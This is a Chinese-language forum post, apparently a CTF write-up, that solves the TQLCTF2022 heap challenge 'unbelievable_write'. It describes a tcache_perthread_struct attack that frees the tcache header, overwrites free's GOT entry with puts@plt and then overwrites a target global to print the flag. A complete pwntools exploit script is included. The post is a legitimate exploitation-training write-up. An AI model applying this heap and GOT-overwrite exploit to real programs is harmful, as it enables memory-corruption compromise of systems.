-
-
[原创]【TQLCTF2022】unbelievable_write
-
发表于: 2022-4-28 15:49 7183
-
tcache相较于其它的bin是一个神奇的存在,因为它的链表表头和计数器是放在堆上的。一个地址为堆块首地址并且大小为0x240的堆块。如果可以把这块free,再申请就可以修改tcache bin的表头和计数器。如果把表头改写为我们想修改的地址,并把其计数器置为大于1的数,就可以申请出地址进行修改。
这道题可以说是tcache struct attack 的模板了,但是当时开学为了赶路就摸了,让ymnh一个人打

保护

RELRO如果是黄色的话,一般都要考虑考虑改got表为plt表来达到劫持free或者exit等函数
没开pie的话,可以利用全局变量
ida
main

c3

改写target!=0xFEDCBA9876543210LL即可打印flag
c2

一个金手指可以执行一次free,free掉地址为ptr+offset的堆块
在前面的init函数里可以看出ptr是一个堆块地址
c1

申请了立马就free了,但是如果我们修改free的got表,就可以绕过free(直接free 0x404080会报错)
思路
那么思路就很明确了,利用金手指free掉tcache struct,再次申请修改tcache struct(这个时候还是会free),并把上面一个表头设置为free_got。申请,然后修改free_got为puts_plt(这个时候就不会free了)。申请0x280再次修改tcache struct,再次申请对应大小达到修改0x404080的目的。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | from pwn import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256import base64context.log_level='debug'context.arch = 'amd64'context.os = 'linux'def proof_of_work(sh): sh.recvuntil(" == ") cipher = sh.recvline().strip().decode("utf8") proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed') sh.sendlineafter("input your ????>", proof)##r=process('./b')##r = remote("chuj.top", 51904)##proof_of_work(r)r=process('./pwn')elf=ELF('./pwn')puts_plt=elf.plt['puts']def z(): gdb.attach(r)def cho(num): r.sendlineafter("> ",str(num))def free(offset): cho(2) r.sendline(str(offset))def add(size,con): cho(1) r.sendline(str(size)) r.sendline(con)def peng(): cho(3) free(-0x290)pd=p64(0)*20+p64(elf.got['free'])add(0x280,pd)add(0x50,p64(puts_plt)+p64(0x401040))pd=p64(0x11111111)*20+p64(0x404080)add(0x280,pd)z()add(0x50,p64(0xdeadbeef))peng()r.interactive() |
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 18288
- 对某嵌入式设备声波配网的研究 13128
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 12392
- [原创]关于Nokelock蓝牙锁破解分析 23956
- [原创]基于树莓派的蓝牙调试环境搭建 25594
谁下载
赞赏
雪币:
留言: